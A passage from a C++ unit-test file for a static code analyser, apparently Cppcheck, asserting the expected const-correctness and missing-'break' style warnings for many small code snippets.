ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" 